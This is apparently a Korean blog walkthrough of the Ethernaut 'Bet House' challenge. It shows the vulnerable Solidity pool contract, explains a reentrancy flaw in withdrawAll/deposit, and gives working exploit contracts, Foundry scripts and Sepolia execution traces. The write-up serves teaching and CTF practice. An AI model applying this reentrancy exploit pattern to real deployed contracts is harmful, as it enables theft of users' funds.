[Ethernaut] 34. Bet House

Ethernaut · 35/36
  1. 0. Hello Ethernaut
  2. 1. Fallback
  3. 2. Fallout
  4. 3. CoinFlip
  5. 4. Telephone
  6. 5. Token
  7. 6. Delegation
  8. 7. Force
  9. 8. Vault
  10. 9. King
  11. 10. Re-entrancy
  12. 11. Elevator
  13. 12. Privacy
  14. 13. Gatekeeper One
  15. 14. Gatekeeper Two
  16. 15. Naught Coin
  17. 16. Preservation
  18. 17. Recovery
  19. 18. MagicNumber
  20. 19. Alien Codex
  21. 20. Denial
  22. 21. Shop
  23. 22. Dex
  24. 23. Dex Two
  25. 24. Puzzle Wallet
  26. 25. Motorbike
  27. 26. DoubleEntryPoint
  28. 27. Good Samaritan
  29. 28. Gatekeeper Three
  30. 29. Switch
  31. 30. HigherOrder
  32. 31. Stake
  33. 32. Impersonator
  34. 33. Magic Animal Carousel
  35. 34. Bet House
  36. 35. Elliptic Token

1. 문제

Welcome to the Bet House.

You start with 5 Pool Deposit Tokens (PDT).

Could you master the art of strategic gambling and become a bettor?

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol";
import {ReentrancyGuard} from "openzeppelin-contracts-08/security/ReentrancyGuard.sol";

contract BetHouse {
    address public pool;
    uint256 private constant BET_PRICE = 20;
    mapping(address => bool) private bettors;

    error InsufficientFunds();
    error FundsNotLocked();

    constructor(address pool_) {
        pool = pool_;
    }

    function makeBet(address bettor_) external {
        if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
            revert InsufficientFunds();
        }
        if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
        bettors[bettor_] = true;
    }

    function isBettor(address bettor_) external view returns (bool) {
        return bettors[bettor_];
    }
}

contract Pool is ReentrancyGuard {
    address public wrappedToken;
    address public depositToken;

    mapping(address => uint256) private depositedEther;
    mapping(address => uint256) private depositedPDT;
    mapping(address => bool) private depositsLockedMap;
    bool private alreadyDeposited;

    error DepositsAreLocked();
    error InvalidDeposit();
    error AlreadyDeposited();
    error InsufficientAllowance();

    constructor(address wrappedToken_, address depositToken_) {
        wrappedToken = wrappedToken_;
        depositToken = depositToken_;
    }

    /**
     * @dev Provide 10 wrapped tokens for 0.001 ether deposited and
     *      1 wrapped token for 1 pool deposit token (PDT) deposited.
     *  The ether can only be deposited once per account.
     */
    function deposit(uint256 value_) external payable {
        // check if deposits are locked
        if (depositsLockedMap[msg.sender]) revert DepositsAreLocked();

        uint256 _valueToMint;
        // check to deposit ether
        if (msg.value == 0.001 ether) {
            if (alreadyDeposited) revert AlreadyDeposited();
            depositedEther[msg.sender] += msg.value;
            alreadyDeposited = true;
            _valueToMint += 10;
        }
        // check to deposit PDT
        if (value_ > 0) {
            if (PoolToken(depositToken).allowance(msg.sender, address(this)) < value_) revert InsufficientAllowance();
            depositedPDT[msg.sender] += value_;
            PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
            _valueToMint += value_;
        }
        if (_valueToMint == 0) revert InvalidDeposit();
        PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
    }

    function withdrawAll() external nonReentrant {
        // send the PDT to the user
        uint256 _depositedValue = depositedPDT[msg.sender];
        if (_depositedValue > 0) {
            depositedPDT[msg.sender] = 0;
            PoolToken(depositToken).transfer(msg.sender, _depositedValue);
        }

        // send the ether to the user
        _depositedValue = depositedEther[msg.sender];
        if (_depositedValue > 0) {
            depositedEther[msg.sender] = 0;
            payable(msg.sender).call{value: _depositedValue}("");
        }

        PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
    }

    function lockDeposits() external {
        depositsLockedMap[msg.sender] = true;
    }

    function depositsLocked(address account_) external view returns (bool) {
        return depositsLockedMap[account_];
    }

    function balanceOf(address account_) public view returns (uint256) {
        return PoolToken(wrappedToken).balanceOf(account_);
    }
}

contract PoolToken is ERC20, Ownable {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) Ownable() {}

    function mint(address account, uint256 amount) external onlyOwner {
        _mint(account, amount);
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

2. 문제 해결 조건 확인

 bettor가 되라고 했으니, 당신(player)의 주소를 인자로 `isBettor` 함수를 호출했을 때 true가 반환되도록 만들어야 합니다.

function isBettor(address bettor_) external view returns (bool) {
    return bettors[bettor_];
}

 그리고 이를 실현시키기 위해서는 특정 조건을 만족시킨 상태에서 player의 주소를 인자로 `makeBet` 함수를 호출해줘야 합니다. 여기서 특정 조건이라 함은, `makeBet` 함수의 호출자(msg.sender)가 wrappedToken을 20만큼 들고 있어야 하며, 풀 컨트랙트에 예치된 사용자의 자금에 락이 걸려있어야 함을 의미합니다.

uint256 private constant BET_PRICE = 20;

function makeBet(address bettor_) external {
    if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
        revert InsufficientFunds();
    }
    if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
    bettors[bettor_] = true;
}
function balanceOf(address account_) public view returns (uint256) {
    return PoolToken(wrappedToken).balanceOf(account_);
}

 wrappedToken은 풀 컨트랙트의 `deposit` 함수를 호출하여 민팅할 수 있습니다. 문제는 표면상으로 wrappedToken의 최대 민틴 수량은 15로 제한되어 있네요. 0.001 이더를 사용해서 10개, 문제 인스턴스를 생성할 때 받은 depositToken 5개를 넘겨주고 5개를 받아서 총 15개. 모자라는 5개를 어떻게 긁어모아서 player를 bettor로 등록할 수 있는가가 이 문제를 해결하기 위한 관건이 되겠습니다.

/**
 * @dev Provide 10 wrapped tokens for 0.001 ether deposited and
 *      1 wrapped token for 1 pool deposit token (PDT) deposited.
 *  The ether can only be deposited once per account.
 */
function deposit(uint256 value_) external payable {
    // check if deposits are locked
    if (depositsLockedMap[msg.sender]) revert DepositsAreLocked();

    uint256 _valueToMint;
    // check to deposit ether
    if (msg.value == 0.001 ether) {
        if (alreadyDeposited) revert AlreadyDeposited();
        depositedEther[msg.sender] += msg.value;
        alreadyDeposited = true;
        _valueToMint += 10;
    }
    // check to deposit PDT
    if (value_ > 0) {
        if (
            PoolToken(depositToken).allowance(msg.sender, address(this)) <
            value_
        ) revert InsufficientAllowance();
        depositedPDT[msg.sender] += value_;
        PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
        _valueToMint += value_;
    }
    if (_valueToMint == 0) revert InvalidDeposit();
    PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
}

3. 단서 찾기

단서 1

`makeBet` 함수를 bettor 자기 자신이 아닌 다른 누군가가 대신 실행해 줄 수 있다는 사실. 아하, 스마트 컨트랙트를 사용해 공격할 수 있겠구나!

function makeBet(address bettor_) external {
    if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
        revert InsufficientFunds();
    }
    if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
    bettors[bettor_] = true;
}

단서 2

`withdrawAll` 함수에 기껏 재진입 공격 방지를 위한 modifier(noReentrant)를 지정해 놨지만, 정작 `deposit` 함수에는 별다른 조치를 취하지 않았다는 사실. 그리고 인출 로직을 먼저 실행하고 가장 마지막에 토큰을 burn 하고 있다는 사실. 이 서순 이슈로 인해 스마트 컨트랙트의 fallback 함수가 먼저 실행되는, 그래서 토큰이 burn 되기 전에 다른 복잡한 로직이 추가로 실행될 수 있다는 굉장히 치명적인 보안 문제가 발생할 수 있다는 사실.

function withdrawAll() external nonReentrant {
    // send the PDT to the user
    uint256 _depositedValue = depositedPDT[msg.sender];
    if (_depositedValue > 0) {
        depositedPDT[msg.sender] = 0;
        PoolToken(depositToken).transfer(msg.sender, _depositedValue);
    }

    // send the ether to the user
    _depositedValue = depositedEther[msg.sender];
    if (_depositedValue > 0) {
        depositedEther[msg.sender] = 0;
        payable(msg.sender).call{value: _depositedValue}("");
    }

    PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}

4. 공격

 단서는 충분히 주어졌으니 이제 player를 bettor로 등록해 보겠습니다.

 그런데 그전에 한 가지. 우리 인간은 머릿속에 들은 것이 많아질수록 피상적인 것에 꽂혀서 본질을 쉽게 망각하고 만다고 생각합니다.

 이 문제의 난이도를 보시면 별이 단 두 개. 사실 복잡하게 생각할 필요가 없습니다. 그냥 wrappedToken이라고 하는 ERC-20 표준 토큰 20개만 모으면 되거든요. 다음 항목들만 확인해 봅시다.

아무나 민팅이 가능한가? Yes

누구에게나 전송이 가능한가? Yes

그럼 다중이 돌려서 토큰 20개 모을 수 있는가? Yes

그냥 헛웃음나오게 간단하지만, 사실 비용적인 면에서 비효율적이긴 합니다. 굳이 돌려보실 필요는 없는데, 예시 코드만 아래 남겨놓을게요.

공격 컨트랙트:

contract Exploit {
    function exploit(address poolAddr, address playerAddr) external payable {
        if (msg.value != 0.002 ether) {
            revert("Invalid deposit amount");
        }

        Depositor depositor1 = new Depositor();
        Depositor depositor2 = new Depositor();

        depositor1.deposit{value: 0.001 ether}(poolAddr, playerAddr);
        depositor2.deposit{value: 0.001 ether}(poolAddr, playerAddr);
    }
}

contract Depositor {
    function deposit(address poolAddr, address playerAddr) external payable {
        if (msg.value != 0.001 ether) {
            revert("Invalid deposit amount");
        }

        Pool pool = Pool(poolAddr);

        pool.deposit{value: msg.value}(0);
        PoolToken(pool.wrappedToken()).transfer(playerAddr, 10);
    }
}

스크립트:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import {Script, console} from "forge-std/Script.sol";
import {BetHouse, Pool, PoolToken, Exploit} from "src/34.BetHouse.sol";

contract BetHouseScript is Script {
    function setUp() public {}

    function run() public {
        vm.startBroadcast();

        address instanceAddr = 0xba8192B7865310cd5229DE75BD67d47E91BF30d0;
        address playerAddr = msg.sender;

        BetHouse betHouse = BetHouse(instanceAddr);

        address poolAddr = betHouse.pool();

        Pool pool = Pool(poolAddr);

        // Deploy Exploit contract
        Exploit exploit = new Exploit();

        // Exploit
        exploit.exploit{value: 0.002 ether}(poolAddr, playerAddr);

        // Lock deposits
        pool.lockDeposits();

        // Make bet
        betHouse.makeBet(playerAddr);

        console.log("Bettor:", betHouse.isBettor(playerAddr));

        vm.stopBroadcast();
    }
}

진짜 공격

좀 더 비용효율적이고 알찬 공격용 컨트랙트입니다. 공격 시나리오는 다음과 같습니다.

  • Exploit2 컨트랙트를 배포한다.
  • exploit2 컨트랙트에게 5개의 depositToken을 전송한다.
  • `exploit` 함수를 호출한다. (0.001 ether 필요)
    • 0.001 ether와 5개의 depositToken으로 pool 컨트랙트의 deposit 함수를 호출한다.
      • exploit2 컨트랙트에서 15개의 wrappedToken이 민팅된다.
    • pool 컨트랙트의 `withdrawAll` 함수를 호출한다.
      • exploit 컨트랙트에게 5개의 depositToken이 전송된다.
      • exploit 컨트랙트에게 0.001 ether가 전송된다. exploit 컨트랙트의 receive 함수가 호출된다.
        • exploit 컨트랙트가 5개의 depositToken으로 pool 컨트랙트의 deposit 함수를 호출한다.
          • exploit2 컨트랙트에서 5개의 wrappedToken이 민팅된다. (총합 20개)
        • exploit 컨트랙트가 pool 컨트랙트의 `lockDeposits` 함수를 호출해 락을 건다.
        • exploit 컨트랙트가 bet house 컨트랙트의 `makeBet` 함수를 호출하여 player를 bettor로 등록한다.
        • 마지막으로, 앞서 인출된 이더를 player에게 야무지게 전송한다.
      • pool 컨트랙트가 depositToken의 `burn` 함수를 호출하여 exploit2 컨트랙트의 모든 토큰을 소멸시킨다.
  • 이렇게 exploit 함수의 실행이 종료되고, 모든 depositToken은 소멸되었지만, player는 bettor로 등록된 상태로 남는다.
contract Exploit2 {
    BetHouse betHouse;
    Pool pool;
    PoolToken depositToken;
    address player;

    constructor(address betHouseAddr, address playerAddr) {
        betHouse = BetHouse(betHouseAddr);
        pool = Pool(betHouse.pool());
        depositToken = PoolToken(pool.depositToken());
        player = playerAddr;
    }

    function exploit() external payable {
        if (msg.value != 0.001 ether) {
            revert("send 0.001 ether to this contract to exploit");
        }

        // check deposit token balance of this contract
        if (depositToken.balanceOf(address(this)) < 5) {
            revert("transfer 5 deposit tokens to this contract to exploit");
        }

        // deposit 5 deposit tokens and 0.001 ether
        // get 15 wrapped tokens
        depositToken.approve(address(pool), 5);
        pool.deposit{value: msg.value}(5);

        // withdraw all (0.001 ether and 5 deposit tokens)
        pool.withdrawAll();
    }

    // withdrawn ether will be caught here
    receive() external payable {
        // deposit 5 deposit tokens again
        // get 5 wrapped tokens, total count of wrapped tokens is 20
        depositToken.approve(address(pool), 5);
        pool.deposit(5);

        // lock deposits to ensure making bet is possible
        pool.lockDeposits();

        // make bet
        betHouse.makeBet(player);

        // withdraw ether
        player.call{value: address(this).balance}("");
    }
}

스크립트 작성

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import {Script, console} from "forge-std/Script.sol";
import {BetHouse, Pool, PoolToken, Exploit2} from "src/34.BetHouse.sol";

contract BetHouse2Script is Script {
    function setUp() public {}

    function run() public {
        vm.startBroadcast();

        address instanceAddr = 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93;
        address playerAddr = msg.sender;

        BetHouse betHouse = BetHouse(instanceAddr);

        PoolToken depositToken = PoolToken(
            Pool(betHouse.pool()).depositToken()
        );

        Exploit2 exploit2 = new Exploit2(instanceAddr, playerAddr);

        depositToken.transfer(address(exploit2), 5);

        exploit2.exploit{value: 0.001 ether}();

        bool isBettor = betHouse.isBettor(playerAddr);
        console.log("Is Bettor:", isBettor);

        vm.stopBroadcast();
    }
}

스크립트 실행

좀 달라진 부분이 있다고 한다면, foundry에 배치 실행 기능이 추가가 돼서 `—slow` 플래그를 추가해야만 하나 완료되고 다음 거 실행하고 이런 식으로 트랜잭션이 순차적을 실행됩니다. 이렇게 해야만 하고, 배치 기능은 EIP-7702랑 EIP-5792를 활용을 해야하는 것 같은데, 이건 나중에 알아봅시다. 

forge script script/34.BetHouse2.s.sol --account dev --sender 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF --rpc-url sepolia --slow -vvvv
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.29
[⠊] Solc 0.8.29 finished in 770.21ms
Compiler run successful with warnings:
...
Traces:
  [1002142] BetHouse2Script::run()
    ├─ [0] VM::startBroadcast()
    │   └─ ← [Return]
    ├─ [2302] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::pool() [staticcall]
    │   └─ ← [Return] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427
    ├─ [2380] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::depositToken() [staticcall]
    │   └─ ← [Return] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f
    ├─ [568365] → new Exploit2@0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d
    │   ├─ [302] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::pool() [staticcall]
    │   │   └─ ← [Return] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427
    │   ├─ [380] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::depositToken() [staticcall]
    │   │   └─ ← [Return] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f
    │   └─ ← [Return] 2383 bytes of code
    ├─ [29929] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transfer(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 5)
    │   ├─ emit Transfer(from: 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 5)
    │   └─ ← [Return] true
    ├─ [341340] Exploit2::exploit{value: 1000000000000000}()
    │   ├─ [626] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   └─ ← [Return] 5
    │   ├─ [24647] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::approve(0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
    │   │   ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
    │   │   └─ ← [Return] true
    │   ├─ [130953] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::deposit{value: 1000000000000000}(5)
    │   │   ├─ [788] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::allowance(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427) [staticcall]
    │   │   │   └─ ← [Return] 5
    │   │   ├─ [27834] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transferFrom(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
    │   │   │   ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 0)
    │   │   │   ├─ emit Transfer(from: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], to: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
    │   │   │   └─ ← [Return] true
    │   │   ├─ [48951] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::mint(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 15)
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 15)
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Stop]
    │   ├─ [175032] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::withdrawAll()
    │   │   ├─ [23129] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transfer(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 5)
    │   │   │   ├─ emit Transfer(from: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 5)
    │   │   │   └─ ← [Return] true
    │   │   ├─ [133601] Exploit2::receive{value: 1000000000000000}()
    │   │   │   ├─ [22547] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::approve(0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
    │   │   │   │   ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [52114] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::deposit(5)
    │   │   │   │   ├─ [788] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::allowance(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427) [staticcall]
    │   │   │   │   │   └─ ← [Return] 5
    │   │   │   │   ├─ [25834] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transferFrom(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
    │   │   │   │   │   ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 0)
    │   │   │   │   │   ├─ emit Transfer(from: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], to: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   ├─ [3151] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::mint(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 5)
    │   │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 5)
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [20388] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::lockDeposits()
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [25423] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::makeBet(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF)
    │   │   │   │   ├─ [1414] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   │   │   │   ├─ [626] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] 20
    │   │   │   │   │   └─ ← [Return] 20
    │   │   │   │   ├─ [511] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::depositsLocked(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [55] 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF::fallback{value: 1000000000000000}()
    │   │   │   │   └─ ← [Stop]
    │   │   │   └─ ← [Stop]
    │   │   ├─ [626] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   │   └─ ← [Return] 20
    │   │   ├─ [3221] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::burn(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 20)
    │   │   │   ├─ emit Transfer(from: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], to: 0x0000000000000000000000000000000000000000, value: 20)
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [511] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::isBettor(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF) [staticcall]
    │   └─ ← [Return] true
    ├─ [0] console::log("Is Bettor:", true) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::stopBroadcast()
    │   └─ ← [Return]
    └─ ← [Stop]

Script ran successfully.

== Logs ==
  Is Bettor: true
  
...

##### sepolia
✅  [Success] Hash: 0x3ed29cb9fd537b07bbdb2e8e6fb31dee4e89d78e27a2d9e52c6d7dc743248ee0
Contract Address: 0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d
Block: 9289688
Paid: 0.000000680865851141 ETH (680857 gas * 0.001000013 gwei)

##### sepolia
✅  [Success] Hash: 0x042c1837a3fad997f2a6306b7fdaecd45a7307dda05e5baa7e59064fb73d3f51
Block: 9289689
Paid: 0.000000046701653814 ETH (46701 gas * 0.001000014 gwei)

##### sepolia
✅  [Success] Hash: 0x6f6fd7f0813c4d0ecec1bf351a5c6cf6a7e89be57412fd5d593fbeab4abc21e7
Block: 9289690
Paid: 0.000000295687843892 ETH (295684 gas * 0.001000013 gwei)

✅ Sequence #1 on sepolia | Total Paid: 0.000001023255348847 ETH (1023242 gas * avg 0.001000013 gwei)

제출


오늘의 교훈

서순 조심. Reentrancy Guard는 웬만하면 코어로직에는 다 붙이자.


전체 코드